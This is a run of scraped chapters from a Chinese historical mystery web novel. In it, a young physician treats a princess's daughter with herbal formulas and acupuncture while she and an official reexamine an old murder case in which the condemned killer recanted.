姜离深吸口气,“但那是遇到了恶人,就和新娘屠夫案子一样,凶手多半不是随机选择目标,躲过了这一次,或许还有下一次,错的是作恶之人,并不是你。” 郭淑妤微攥了拳头,“可恶的是,那凶手死前还要喊冤,不认是他害了盈秋……” 姜离蹙眉,“凶手并未认罪?” 郭淑妤睁开眸子,“此事是听段家二公子无意中提起,说那贼人本认了罪,临死之前却又要翻供,但只说他没有害过盈秋,因当时已在他落脚之地发现了盈秋的遗物,翻供也来不及了,最终还是被问斩在西市,可纵被砍头,又怎能弥补盈秋死前受过的苦楚?” “只不认谋害岳姑娘?”姜离觉得古 第 33 章 上钩 《鹤唳长安》全本免费阅读 至宜阳公主府已近酉时,姜离带着怀夕入府门,又沿着与昨夜不同之路往东行去,绕过两处冰雪皑皑的园圃,到了一座秀美精致的合院前。 甫一进院门,姜离便见上房外,裴晏长衫玉立,他面前站着个年轻俊逸的锦衣公子,此人剑眉入鬓,一双琥珀色眸子又清又亮,正是兵部尚书府上的小公子宁珏,他手执三尺青峰,正一脸恳求地对着裴晏说着什么。 “公子,薛姑娘来了——” 身后九思提醒一句,裴晏一看,也不等宁珏说完,抬步朝姜离迎了来,见他在公主府,姜离也不意外,可此处院落并非案发之地,他正正好在院内,姜离心底还是涌起两分说不清道不明之感。 她欠身行礼,“裴少卿。” 裴晏虚虚抬手,开门见山道:“县主患有惊痫之症,昨日受了惊吓旧疾复发了,公主此刻在屋内陪着县主,太医署的白太医也在。” 他一口气说完,听到白敬之也在,姜离只觉正合她意,但这一切,又似乎有些过分顺利了,她正审视裴晏之时,宁珏执剑走了上来。 宁珏正值双十之龄,又自小修炼武艺,与其他世家公子相比,他身姿板正,脚步轻盈,行止之间高束起的发尾悠悠荡荡,衬的他整个人格外意气飞扬,他上来便问:“薛姑娘真是江湖上那位辛夷圣手?” 都认祖归宗了,他语气中竟还有怀疑,再加上他上下打量的目光,说好听的是直率不羁,说不好听的便是不知礼数,但姜离不以为意,颔首道:“是我。” 宁珏眯起眸子,“那可讨教姑娘一二?” 不等姜离答话,他目光一凝,竟忽然以掌变拳朝姜离攻来,姜离皱眉欲退,身后怀夕也惊然色变,“姑娘——” 惊呼未落,电光火石间却是裴晏半步挡在了姜离身前,眼见宁珏拳势收之不及,裴晏悬臂做挡,又翻腕一推,“砰”的一声,直令宁珏连退三步。 姜离很少见裴晏动武,此刻见宁珏满身狼狈,而裴晏通身峥嵘迫人之势,又令她生出些陌生之感。 但她却看不到裴晏还目生寒光,质问道:“宁珏你做什么?” 宁珏趔趄着稳住身形,只觉半边身子都是麻的,他捂着肩头道:“师兄,讨教啊,你这两年外出行走的少,不知江湖上众说纷纭,有人说辛 夷圣手武功极高,也有人说她医者不能自医患有重病命不久矣,眼下我看她好好的,想试试她的身手而已!” 他理直气壮道:“我适才只用了两分力道,她又不是长安城那些娇滴滴的小娘子,啊……好痛,师兄好重的手!” 他嘴巴一瘪有些委屈,裴晏眉梢却尽是冷峭,“你要讨教,薛姑娘应了吗?便是江湖上也没有如此出其不意的,薛姑娘是公主的客人,你规矩学哪里去了?” 宁珏自幼习武,亦向往江湖行侠仗义,五年前终于拜入凌霄剑宗学艺,正是裴晏的同门师弟,他常在外闯荡,自然习惯了不拘泥礼数,而辛夷圣手是江湖上响当当的人物,高手过招,难道还要彬彬有礼说一句“您先请”? 宁珏自觉无错,但他可不曾见过裴晏这般模样,轻咳一声服了软,“好好好,是我没规矩了。” 他说着对姜离抱拳一拜,“在下宁珏,请姑娘原谅在下莽撞,这几年在外头野惯了,实在是有些没规矩了。” 裴晏眼底寒意未消,姜离看了一眼他挡在自己身前的背脊,往旁里走半步,失笑道:“不妨事,不过要令宁公子失望了,其实我不会武功。” 宁珏愕然,“啊?姑娘当真?” 他说着,仔仔细细打量起姜离,眼见她呼吸徐缓,不似内力深厚的模样,方信了两分,却又疑惑道:“那你是如何行走江湖的……” 话音未落,上房门“吱呀”而开,宜阳公主和驸马崔斐双双站在门口,宜阳公主五官温婉秀质,崔斐也一身书卷气,二人并肩而立宛若一对璧人。 宜阳公主不快道:“宁游之,你在做什么?这里是长安,把你那江湖上的习气改一改。” “游之”乃宁珏表字,他不敢与公主顶撞,摸了摸鼻尖道:“宁珏知错。” 姜离上前见礼,宜阳公主道:“薛姑娘不必多礼,快请进来说话。” 进得房门,裴晏和宁珏也跟了进来,宜阳公主愁眉苦脸道:“姑娘医术本宫早有耳闻,昨日皇姐提过,今日鹤臣亦说他祖母的病同是你看的,本宫虽未见过姑娘行医,但如今槿儿发热不退,便想怎么也得请姑娘来试试,姑娘跟我来吧——” 姜离斜裴晏一眼,未想到是他举荐。 踏着黼黻过北面帘门,便入长乐县主寝房,寝房 内站着两个嬷嬷两个侍婢,白敬之正手拿医方,拧着眉头站在长乐县主榻边,他一时看看自己的医方,一时又看看长乐县主,像是为难极了,听见动静回身见是姜离来了,他眼底暗了暗,又谦和地往旁里退了两步。 锦榻之上,长乐县主崔槿正拧着眉头仰躺着,她眼皮闭得极紧,稚气小脸一片酡红,额头还有薄汗津津,此刻呼吸一急一促嗬嗬有声,伴随间歇微颤,一看便颇为痛苦。 宜阳公主疼惜道:“昨天晚上受了惊,当时便有些不好,他父亲带回来用了一点儿燕窝粥,没一会儿便吐了,然后便发起热来,期间还伴有惊厥之状,之后请了金太医和白太医会诊,开了方子药也喂下去了,可这都这么久了,热度虽退了些许,但她人一直昏沉着,药食难进,还发过两次痉挛,眼下白太医也十分作难。” 姜离对着白敬之欠了欠身,白敬之便道:“昨夜用了柴胡桂枝汤,又针灸了大椎穴、腰奇穴、百会穴,起初痉挛有解,但到了今晨,又复回昨夜,再按昨夜针灸,却已无用,姑娘大名我三日前初回长安已听过,不知姑娘有何高见?” 宜阳公主对她道:“白太医擅小儿杂症,薛姑娘可与他合计看诊。” 姜离点头应是,“我先请脉再议。” 姜离言毕挽起袖子上前问脉,白敬之站在一旁,不时打量姜离,行医多年,又常在外行走,白敬之倒不嫌姜离是个女医,他担忧的是姜离年纪尚轻,又自江湖而来,或有名不副实之可能,一旁宁珏也抱疑而立。 不多时问脉完,姜离又倾身检查崔槿眼口,见崔槿双齿紧合,苔痕极重,头颈肩背直挺,轻按可觉抽搐,她眉头也紧拧起来。 白敬之见状以前辈之姿道:“小儿惊痫比成人更为复杂,姑娘若不知治法也无妨。” 宜阳公主见姜离眉心拧成“川”字,也以为她犯了难,眼底有些失望,语气尚算和善:“不错,姑娘若治不了,本宫再换人便是。” 姜离八风不动,此刻目光一转看向白敬之,“我可能看看白太医的医方?” 白敬之微愣,但瞧姜离眉眼清凌,倒不藏私,递上医方道:“姑娘看便是。” 姜离接过医方一一扫过,很快道:“大人的方子对症,但以我浅见,大人可去甘草,再加一味葛根扩张血络,助白 芍解痉,再加龙骨、牡蛎重镇安神。” 白敬之未料姜离要指点他的医方,他略思忖道:“葛根可加,但县主弦脉急紧,龙骨、牡蛎亦峻厉,尤其惊痫为肝所致,肝性刚,最忌刚药压制。” 姜离点头,“大人所言不错,但惊痫还有筋脉挛急致气滞津停,升降出入受阻,神机不灵之因,取柴胡桂枝汤汤而去甘草,便是调和肝胆,桂枝可抑上冲之气,加龙骨、牡蛎是为摄纳浮阳之要药,且龙骨、牡蛎得半夏与所加之茯苓,可豁肝胆之惊痰,又导以大黄,则痰滞更得下行①,本还可加磁石,但县主年幼,恐服之中毒。” 她坚持道:“总方义与大人并无差别,皆是和解肝胆,潜阳熄风,使窒滞之机得畅,横恣之势得柔,争定癫平病之效①。” 白敬之眼底幽明变幻,口中轻喃,似在合算她所言是否有误,宜阳公主和驸马看看他,再看看姜离,来回数次之后,白敬之语气松动下来,“姑娘年纪轻轻却颇敢用药,如此改方倒可一试,但我并无十足把握。” 姜离了然,看向宜阳公主道:“殿下若信我,可试一日,此方再加我为县主施针,一夜便可解公主昏厥发热之症,若出了岔子,我自是自己担责。” 白敬之所言正是担心用药太重牵累了他,姜离此言一出便是解了他后顾之忧,虽不知此方是否见效,但这份胆识令他有些叹服。 见白敬之并未反对,宜阳公主深吸口气道:“那好,就按姑娘的方子试试。” 宜阳公主吩咐人备药,姜离仔细说完剂量后唤来怀夕打开针囊,又沉静道:“县主昨日一来受惊,二来受寒,我眼下再为县主施针,取定惊除寒邪之效,请嬷嬷将县主扶至侧卧,我要取其耳后瘈脉穴——” 两个嬷嬷倾身扶过崔槿,姜离取三寸银针倾身,于崔槿耳后经脉微凸形同鸡爪处下针,只听得崔槿嘤咛一声,下针处骤然刺出一星黑血来,姜离擦净黑血,又令嬷嬷将她扶至另一侧,同样刺瘈脉穴见血,擦净后,又令崔槿平躺,刺其头部攒竹、本神、前顶、囟会几穴,入针三分不动,又掀开锦被刺其足少阳经临泣穴。 其他几人看着她施针,不懂医道的宜阳公主夫妻一时看着姜离,又一时去看白敬之的神色,见他并无异色,方才更为放心。 静待半刻钟后,姜离取 针,宜阳公主心疼地上前,想为崔槿掖掖被角,可姜离却道:“公主稍后,请嬷嬷将公主扶至俯卧——” 适才已经扎了六处穴位,宜阳公主最知道崔槿怕痛,本以为已经施针完毕,却不想竟还要继续,她忧心道:“还要施针何处?” 姜离道:“还有天柱、筋缩、长强三穴。” 宜阳公主不懂医理,白敬之却是知晓三穴在何处,他面色微变道:“姑娘加了龙骨、牡蛎是为纳阳,而长强为诸阳之盛,此穴何解?筋缩本配阳陵泉、行间二穴治筋挛拘急、四肢不收,姑娘却以长强、天柱行针,又为何解?” 姜离看着嬷嬷们将崔槿扶着俯卧下来,一边换针一边道:“大人所言若是夏日可选此三穴,但如今天寒,县主昨日受寒邪侵入,当以长强与天柱协配,以先泻后补之理刺之……县主需得更衣,请几位去外面相候吧。” 筋缩穴位于背脊正中,长强穴则位于尾椎处,白敬之听完姜离所言眼皮一跳,后又微瞪眼瞳一错不错盯着姜离,驸马本要转身出去,却见他露出此般神情,吓了一跳道:“敬之,薛姑娘如此治法,有何处不妥吗?” 白敬之被他唤得回神,当即摇头,“哦,没有没有,是我未用过此法罢了。” 见其他人都望着自己,他不再多言,转身便朝外走去,驸马几人默了默,也都离开寝房,见宜阳公主也一脸纳闷,姜离也有些奇怪道:“殿下,白太医是否不擅针灸一道?适才的神情像极其意外似的。” 宜阳公主点头,“他的确更擅汤液。” 姜离面露了然,目光朝外室方向一扫而过,冷下眉眼为崔槿施针,宜阳公主见她一双素手又稳又快,神态更是坚韧沉定,起初那股子半信半疑便散了大半,而前厅之中,白敬之一脸凝重地僵立着,微垂的眸子一片晦暗,不知在想什么。 崔斐越看越不放心,转而问裴晏,“鹤臣,老夫人旧疾当真轻松了?” 裴晏颔首,“祖母卧床半月,薛姑娘去的第二日便可下床走动了,驸马若是不信,明日可至府上看看。” 崔斐摆了摆手,“自不是不信,是薛姑娘实在太年轻了,莫说女医,便是男大夫,整个长安又有几人二十岁便至如此境地?不免叫人担心啊,且针灸之前我们也请人试过,有槿儿受了罪却无用的,也 有两针下去槿儿愈发痉挛不止的,用药只要不出大错,尚可弥补,可施针若出错伤及经络,那可是药石无灵。” 裴晏淡然不语,宁珏这时冷哼道:“要说天赋绝佳的女医倒也不是没有,从前咱们长安便有一位的——” 宁珏语气不善,崔斐略一想,惊讶道:“你是说……” 宁珏咬牙道:“没错,便是当年广安伯府那位义小姐,当初不是都传她天资绝艳,百年难见吗?后来她殒命,虽是大快人心,可也有人遗憾她一手医术,事实证明,她也不是什么百年难见嘛,天下之大,能人辈出,这位薛大小姐说不定比她还要厉害。” 当年死去的皇太孙李翊乃是宁珏的亲外甥,又因宁珏只比李翊大了五岁,二人虽为舅甥,却更像是一同长大的亲兄弟,李翊之死,宁珏这个亲舅舅的心中之痛或许比不上宁侧妃,但或许不亚于做父亲的太子,这些年来,提起广安伯府之人,宁珏这等不善掩饰情绪的,无不是切齿之恨难消。 崔斐微微点头,“也对,既出过这样的人,怎知薛姑娘不同样是禀赋不凡呢?” 崔斐说完目光一瞟,却见白敬之面色更差,他安抚道:“敬之你已经尽力,只所擅不在针灸而已,我与公主殿下不会怪罪你,不必为此惶恐。” 白敬之满额冷汗,抬手擦了擦汗道:“多谢驸马体恤,在下深感惭愧。” 白敬之年过不惑,却似乎已被一个二十岁的女医比下去,见他神色古怪,几人倒也不觉异常,又等了半刻钟,侍婢出来唤他们进去。 长乐县主已复安卧,姜离收好针囊之时,汤液也送了过来,宜阳公主挽起袖子亲自给崔槿喂药,见她已能咽下汤液,宜阳公主大喜,“太好了!槿儿能用药了!姑娘有所不知,今天午时,槿儿药液都难咽下,可把我们吓坏了。” 不过片刻,崔槿虽还未清醒却已有进益,直看得宁珏叹服不已,“我还真是说对了。” 姜离狐疑看过去,宁珏还未解释,一旁白敬之问到:“敢问姑娘师从何人?” 姜离坦然道:“我师父是妙手堂后人,号太玄仙姑,大人或许不知。” 白敬之仔细回忆,奈何他与江湖中人交集甚少,的确并未听过此人,他望着姜离欲言又止道:“姑娘适才说夏日便是不同施针之法,作何解 ?” 姜离莞尔,“夏日惊痫或为热邪侵入肝胆,施针之 第 34 章 古怪 《鹤唳长安》全本免费阅读 “这案子的凶手名叫曹有庆,长安城外新丰县人,已经快四十,其人早年在檀州驻军中当过几年伙头军,会些拳脚功夫,后来在营里与人打架之时断了一条腿,被除了军籍,伤好后成了个瘸子,他行凶的原因,是因去岁春天其娘子嫌他窝囊无用与他人跑了,他满心愤懑,去长安好容易寻了个茶楼伙计的差事,却因手脚不利索冲撞了彼时黔州刺史家的小姐被赶了出来,那位姑娘也是第一个受害者……” 群山覆雪,寒鸦呜鸣,郭淑妤呵气如雾,所言话语更令众人心底生凉,姜离看了一眼山势,又往道旁走了几步,抖了抖近前的银装玉挂的杂树。 待积雪纷纷而落,她遂问:“这后山是否多有枫树和杨树?” 郭淑妤闻言立刻点头,“姑娘明察秋毫,正是多枫树与杨树,到了秋天,来登高的多是为了漫山的红叶而来。” 姜离又道:“杨树、枫树多的地方土质较粘,当日虽下了场急雨,但凶手是瘸子,行止之间应极易留下线索才对,发现岳姑娘尸体的地方,还有这上下山林之中,便没有凶手的踪迹?” 郭淑妤想起那日眼底又生惊悸,摇头道:“先是一场雨把主路小路的印记都冲没了,再加上发现不对之时天已快黑了,天黑之后打着火把寻人,根本注意不到细微线索,第二日官府上山搜山时漫山遍野都是泥渍脚印,便也分不出哪些是凶手所留,哪些是自己人所留。” 姜离又问:“那婢女如何说?也没有其他人撞见过凶手?来登高的瘸子可不多见。” 郭淑妤戚然道:“婢女名叫香芸,她被凶手打晕,人虽然没死却伤了脑袋,醒来之后说话都不利索,只说遇到了一个灰衣蒙脸之人,连遇袭地也忘记了,后来衙门推测出遇袭之地就在下山不远处的小路附近,而凶手之所以没被人撞见,正是那曹有庆熟悉周围地形,逃脱时绕了圈子才没叫人堵到。” 如此勉强说得过去,姜离又沉声问:“那日是你组局?” 郭淑妤苦涩点头,“是我,我打算那几日游三清观,但日子是和湘儿商议之后定下的,十七那日三清观正好有道场,我们还能上柱香,除了我们三个,同行的还有楚岚、淮南节度使孙佑昌家的大小姐孙蓁,还有太子詹事朱明成府上的二小姐朱嬿婉。” 姜离又问:“第一 个发现尸体的是谁?仵作验尸之后怎么说的?” 郭淑妤悲切道:“是楚岚府上的家丁,当时我们赶过去之时,便见盈秋衣衫不整地躺在山坳草地上,口唇处有血,人也断了气,脖颈上掐痕明显。” 说起那一幕,她仍是心如刀绞,又强忍畏怕继续道:“仵作验尸之后,也说盈秋是被扼颈而死,死前受过凌/辱,她衣裙破了,身上的饰物也没了,还有一缕头发也被剪走,因尸体被雨水冲刷过,未留下多余痕迹——” “头发也被剪走?” 郭淑妤点头,“那凶手喜欢收集女子头发,又因家里穷,受害者身上值钱的东西会被洗劫一空,后来抓到人的时候,盈秋当日所戴的一只耳坠便被发现在凶手家中,由此坐实了他行凶之实,其他饰物虽未发现,但多半是被他当了。” 二人歇脚片刻,又沿着山道往上走,姜离问:“他是到了行刑之前才翻供?” 郭淑妤沉声道:“起初他便满口抵赖,金吾卫用了重刑,再加上证物俱全,他才认了下来,但若我没记错,湘儿说过,盈秋的案子他是含糊其辞的,因盈秋那耳坠并不是特别的样式,荣宝堂每年都卖出许多那样的金耳坠,金吾卫也是审了几日才让他认罪画押。” “第一起案发在三月中,案发在城内永安渠南,第二起案发在四月末,死者是谏议大夫齐大人家的小姐,案发地在他们城外别庄不远处,我们来登高则是在五月十七,案子起初在京兆府衙查,后来到了右金吾卫手里,当时右金吾卫已疑凶手并非城内之人,正查到了新丰县,盈秋死后,右金吾卫更肯定了凶手在城外,直到到了七月中才抓到了人,那阵子风声紧,凶手躲在家里足不出户,幸而没有第四位受害者。” 说着走到一处四角攒尖顶亭台,几人入亭内歇脚,郭淑妤又道:“七月中抓到人,押回去定完案已是八月初,到九月底行的斩刑,他翻供便是在行刑前三日,但当时一切皆有定论,容不得他胡搅蛮缠,且死囚临刑前多有胡言乱语者,便也无人理会他,后来他在西市被斩首,也当真是便宜了他。” 郭淑妤愤然难平,又望向发现尸体的那片山坳,片刻后似是不忍,又背过了身长吁短叹。 姜离关切道:“可还受得住?” 郭淑妤缓缓吐出口气,点头:“自从 盈秋死后,我本以为这辈子也不敢踏足此地,可刚才入三清观,听到观里晨钟声声,我忽然生出一种盈秋或许能被天官庇佑之感,再加上如今冬雪冰封与当初景致大为不同,我倒没有想的那般害怕。” 她说着又呼出两口白气,感激道:“这一切还要感谢姑娘,姑娘不仅是好大夫,还能听我絮叨这些旧事,旁的大夫可做不到这一点。” 怀夕在旁莞尔道:“心病还须心药医,姑娘的病光开方子施针到底不治本,且郭姑娘那日也救了我们姑娘,我们姑娘很是感激呢。” 郭淑妤表情松快了些,“那日不值一提,总之薛姑娘无愧盛名,我父亲母亲也对姑娘颇为感念,我父亲还问,说姑娘医术了得可有在长安城中开设医馆的打算。” 姜离有些莫名,郭淑妤道:“我父亲早前在宗正寺任寺卿,年后要调职太常寺,太医署正是在太常寺所辖之下,这几日他去太医署多次,和一众太医们打了不少交道,又想到姑娘年纪轻轻医术如此厉害,难免多问了几句。” 姜离倒不知此事,她摇头,“便是我想开医馆,只怕我父亲也不许。” 郭淑妤叹道:“是了,薛大人和太子妃只怕都不会乐意,没办法,咱们既生在世家,便没法儿只顾忌自己,姑娘若如今这般倒也很好。” 说了些私话,二人关系亲近了几分,山上太冷,郭淑妤也没有登上西峰的打算,没多时一行人便往观中去,回至观中,姜离拜见道长后往玉皇殿后堂添了三盏长明灯。 见是三盏灯, 第 35 章 毒杀 《鹤唳长安》全本免费阅读 心里再如何腹诽,等几人到了跟前,姜离还是欠身行礼,“裴少卿。” 裴晏翻身下马,将马鞭丢给九思,又往她马车车轮上的雪泥看去,“姑娘这是去了何处?” 姜离道:“城外三清观。” 裴晏剑眉微扬,有些意外,又抬手请她一同入府,待进了公主府,方才问:“为何去三清观?” 姜离还未说话,跟在后的怀夕主动道:“是和郭姑娘一起去的,郭姑娘受了惊吓,心病也重,我们姑娘陪她散散心。” 裴晏看着姜离,“她的心病是岳盈秋的案子,而岳盈秋遇害之地,正是在城外三清观,你们此去是为了故景重游,为她医病?” 姜离脚步微缓,“大人知道岳姑娘的案子?” 裴晏道:“这几日大理寺查郭淑妤和孟湘的人际来往,发现二人有个共同挚友,便是去岁被谋害的前户部度支司郎中岳大人的女儿岳盈秋,郭淑妤的心病从岳盈秋死后开始,之后几次意外和孟湘同在,而岳盈秋出事那次,孟湘和楚岚也在,再加上郭淑妤那日受惊之下胡言乱语提到了岳盈秋,我自是要调阅此案看看与今次的案子有无关系。” 姜离不动声色,怀夕却万分惊喜,她们路上还在说可以请裴晏调阅旧案,可姜离明显不打算向裴晏开口,却没想到裴晏已调阅过岳盈秋之案,还主动道明,这简直像瞌睡了便有人递枕头,未费吹灰之力。 话到这份上,姜离自然道:“那大人查完之后如何想?” 裴晏顿了顿,谨慎道:“与今次的案子是否有关尚难断定,但当初那案子倒是有数处疑点未解——” 见她并无意外,裴晏道:“看来姑娘已经发现了。” 姜离收回视线,“郭姑娘讲过案情,但她所知并不详细。” 裴晏眼底流光滑过,朗然道:“这案子最大的疑点乃是凶手曹有庆于临刑前三日喊冤翻供,且只说岳盈秋不是他所害,但他本人住在新丰县,距离三清观并不算远,再加上他曾在案发前两月去过三清观,翻供便更不会被采信。” “除了这一点,岳盈秋的验状所记也有些异样,彼时遇害三人皆被扼颈而死,但前两位受害者死前不仅受到凌/辱,身上还有颇多暴力伤痕,凶手多有泄愤之意,到了岳盈秋这里,她虽然也是被扼颈而 死,身上也有挣扎的淤伤,但并没有前两位受害者惨烈,此外,仵作还在岳盈秋阴门内发现了木屑——” 姜离心头一跳,“木屑?” 裴晏道:“不错,当时仵作怀疑,凶手在行凶时除了凌/辱受害者之外,还用木棍之类的东西虐待过死者,死者□□红肿,但因下了一场大雨,并未发现男子精元,如果加上这一条,便也和前两位死者遭受暴力相似了。” 郭淑妤所言未细致至此,姜离得知岳盈秋死前被施虐,心底又沉重两分。 裴晏稍稍一停,接着道:“此外,岳盈秋遗失的饰物里,除了一只玉兰金耳坠在曹有庆家里被发现,另有一对羊脂玉玉钗、一条珊瑚项圈、一条璎珞腰带和一对翡翠手镯都不知下落,前面两起案子里曹有庆会将被害人的饰物拿去新丰县的当铺典当,又或是去长安黑市上交易换钱,当初右金吾卫也是凭借这些线索找到了曹有庆,可唯独岳盈秋的饰物不知下落。曹有庆认罪时虽交代了一处典当行,但右金吾卫并未找到典当记录,定罪之时,解释为曹有庆分批次典卖了许多饰物,记错了,但有岳盈秋的头发和金耳坠,再加曹有庆认了罪,并未追查清楚便结了案。” 姜离又问:“案发当日,曹有庆在何处?” 裴晏道:“他翻供之时,说案发当日他躲在家里并未出门,还有一位当地走街串户收铜铁器物的游商到过门上,他彼时生活艰难,典卖了一套旧铜茶具换了些银钱,此后仍然躲在家里,但彼时即将行刑,游商又素无落脚之地,金吾卫并未追查。” 姜离脚下微顿,“会否有他所言为真的可能?他害两条性命,的确该死,可若他并非真凶,岂非让真正谋害岳姑娘之人逍遥法外至今?” 裴晏尚未语,一旁卢卓道:“姑娘说的确有可能,只是此案已结,除非有确凿证据,否则金吾卫那边不可能重查,我们也不好越权去查。” 九思在旁摇头:“卢都尉,若是别的时候可能不行,但马上入腊月,正到了大理寺复核一年刑案之时,这时候咱们刚好抽中了这件案子怎能算越权?” 卢卓愣道:“可这是去岁的案子……” 九思笑呵呵道:“大理寺复核刑案有三年之期,去岁又非我们公子在任,他将时辰宽泛些也没什么不妥,右金吾卫若因此不满,岂 非是做贼心虚?” 卢卓明白过来,“确是如此,就是这案子是段世子办的,到时候……” 九思眨眨眼,“到时候有我们公子在,他能如何?” 卢卓松了一口气,神色也振奋起来,“是是是,正是此理——” 他二人在后打着机锋,姜离则惊讶地望着裴晏,原来他竟已经着手去核查此案了,若真能找到那游商,证明案发当日曹有庆并不在鸣鸾山…… 姜离面色微变道:“倘若曹有庆所言为真,那出现在曹有庆家里的头发、耳坠又作何解释?” 裴晏深长道:“那便是另一回事了。” 要么是金吾卫做了假物证构陷定罪,要么便是凶手提前知道了前两案的凶手是曹有庆,而后先一步将证物嫁祸给了曹有庆,能这样做的人,要么是金吾卫中武侯,要么便是和金吾卫办案之人关系极近者,如此一来,范围便可大大缩小。 四目相对,裴晏不必说透姜离便可明白一切,而若真是如此,那最轻也是金吾卫渎职失察办出冤假错案,除了追真凶外,办案之人也势被问责,也因此,才有适才卢卓之言,但显然裴晏并不忌讳开罪段氏。 姜离转身而走,她并不意外,裴晏从前便是眼里揉不得沙子之人,而下到京兆府,右金吾卫,上至大理寺、刑部与御史台,每年失察渎职者不知凡几,当年魏阶临刑之前同样在喊冤,可三法司无一人相信,也无一人重视,皇太孙之死如一道催命符,每个人都害怕那道符贴在自己身上,于是,他们便急不可待地,牢牢钉死在魏阶身上。 若将各法司历年案卷皆调出核查,姜离相信多的是人保不住头上乌纱,而满朝文武,又有几人不想稳步青云,高官厚禄?想到这些,她不禁看了一眼裴晏,今日是段氏,裴晏不忌讳,那若是换了肃王?换了太子妃呢? 姜离心底五味杂陈,定了定神,明白岳盈秋的案子是旧案,如今孟湘之死尚在最佳查破之时,她便问:“可能确定凶手的目标是孟湘了?” 裴晏摇头,“还无法确定凶手目标到底为何人,当日虽有七人曾单独离开,但这两日调查下来,没发现他们有何杀人动机——” “殷嘉宁与二人是关系不远不近的朋友,宁珏常年不在长安,也就今岁与二人在宴会雅集上碰过几次面,李 策与两家有些来往,与郭淑妤和孟湘少时交集繁多,崔赟在御林军当值,他出身崔氏旁支,家里与安远侯府有些来往,平日里与郭淑妤就是同游宴饮的关系,段凌和高氏两人也与孟湘交集多些,是因今年过年之后,孟家要给孟湘议亲,段、高两家都在其列,最终孟家选择了高氏。” 选择高氏便是选择太子,姜离道:“孟湘自己也看中高晗?” 裴晏颔首,“问过她的婢女兰雪,说她极乐意这门亲事,而她平日里为人颇为周全,从不曾与任何人结怨,在府里待下人们也极好,今年唯一的变化,也就是她亲事将要定下,若一切顺利,明年夏天或会成婚。” “最大的变化与亲事有关……” 姜离轻喃一句,裴晏看着她道:“如今我们也怀疑是否与此有关,也从高家入手查过,高氏欲为高晗娶妻,除了安远侯府外还有三个选择,一为李幼仪,二为萧碧君,三为楚岚,巧合的是那天三人都在公主府,但她们都不曾单独行动。” 世家联姻多有权衡,李幼仪乃是淮阳郡王之女,为宗室之后不说,其父任户部尚书,主掌天下钱粮,极得景德帝倚重,楚岚的父亲越国公曾是东海水军兵马大元帅,擅水战,门生故旧遍布军中,在武将之中极有人望。 说至此,眼看长乐县主的院子近在眼前,姜离道:“其实我一直在想,那日凶手用的法子,并不能保证伤到的人是谁,如果凶手的目的只是为了杀人,且杀任何人都好,那便实在难办,但若凶手的目的便是为了郭姑娘和孟姑娘二人或是其一,那他要如何肯定她们一定会提前回到花棚中?凭孟姑娘嗓子不适?还是凭郭姑娘说的不打算折梅?尤其在看到她们二人已出了花棚,他更难确定结果才对。” 裴晏也道:“目前确难定论。” 话音落下,便见宜阳公主身边的嬷嬷迎了出来,二人一路入上房,宜阳公主和驸马崔斐正在无奈等候,姜离行了礼,宜阳公主温笑道:“敬之已经来了,薛姑娘不必多礼,跟本宫进来吧——” 一路走入寝房,宜阳公主又道:“昨日你走一个时辰之后,槿儿便醒了,醒了就说饿了,吃了一碗燕窝粥又睡了一觉,到了晚上,精神便好了许多,也未再发病,睡前用你的方子又用了药,到今日精神好了极多,槿儿,母亲说的薛姑娘来了。” 白敬之等在屋内,长乐县主崔槿精神好了大半,此刻靠着迎枕,手边数块木条,竟是在拼八卦锁,闻声她好奇看来,欣然道:“薛姑娘长的真好看——” 姜离上前福身,“拜见县主——” 崔槿抬了抬手,语调分明还有稚气,面容却小大人似的,“薛姑娘,母亲说你能救我,你能将我治好吗?我再也不想发病了。” 她眼巴巴地望着姜离,姜离镇定道:“县主放心,我定竭尽全力。” 崔槿有些失望,“每一个大夫都是这样说的,可没有人能将我治好。” 姜离上前半步,温声道:“病去如抽丝,县主的病并不算严重,只需如常用药,假以时日定能与普通人一样。” 崔槿将信将疑,姜离对白敬之点了点头,白敬之道:“县主今日脉象平稳了许多,姑娘昨日用的针法极管用。” 姜离先坐下为崔槿请脉,这时裴晏也跟了进来,见着裴晏,崔槿忙不迭看向锦榻上的木块,“鹤臣哥哥,快快快,我拼了半天都拼不好——” 裴晏温和道:“若我帮县主拼了八卦锁,县主可能答我几问?” 崔槿眼珠儿一转,“你若能在半炷香的时辰之内拼好我便答,你若拼不好,那我便一字不答……” 宜阳公主无奈,“槿儿!” 裴晏道:“无妨,我试试。” 崔槿眼底一亮,忙让侍婢捧着八卦锁木块上前,这时几人都看向裴晏,因这方八卦锁颇为复杂,都替他捏一把汗。 姜离眼风一扫而过,又收回视线请崔槿换只手请脉,她凝神分辨脉息,过得片刻收回手,几乎是同时,只听“吧嗒”一声,裴晏将八卦锁拼合齐整。 崔槿惊道:“这么快——” 宜阳公主失笑,“你这孩子,还想用这些小玩意难住他不成?” 她摇了摇头,先关心崔槿病况,“薛姑娘,如何?今日可要再施针?” 姜离道:“昨日施针手重,今日县主先缓一日,方子照旧不变,等明日我会换一套针法,今日县主安养精神便好——” 宜阳公主松了口气,白敬之在旁道:“昨日我便觉姑娘针法奇诡,颇有剑走偏锋之感,若是别的大夫,只怕不敢下那样的手,今日姑娘自己也这样说,看来我并没有看错 ,姑娘小小年纪医术过人,胆识也颇为不凡。” 姜离闻言起身道:“白大人不知,行走江湖时以救人性命为重,很多时候用药施针比昨日还要奇险,只要能救人自不必拘泥。” 白敬之一脸赞同之色,但这时,他忽然从袖中掏出一张黄纸来,“姑娘精于针灸术,昨日我回了府中,也在想县主之病可有其他解法,于是翻阅医书,看到了这样一例医案,还请姑娘看看,并指教一二。” 姜离欣然应好,起身接过脉案细看起来,然而很快,她眉头越皱越紧,神色也凝重起来,其他公主府之人面面相觑,皆不知她遇到了何种疑难,昨日她为长乐县主施针定方,已颇得信任,倘若今日被白太医考住,自又叫人心生质疑。 没多时,姜离苦笑一下道:“白大人,是我孤陋寡闻了,请大人解释何为‘偶刺’,又何为‘报刺’‘浮刺’①?这是哪位大人医案,病状我倒看的明白,可这施针之法说的晦涩,我却是不明……” 姜离面色无波,心底却掀起滔天巨浪,昨日施针,她所说夏日热邪之言不过是寻常病理,只因她强调了季节,而引起白敬之怀疑,但她更未想到,白敬之心虚之下,竟会拿着魏阶往日诊病的医案前来问她! 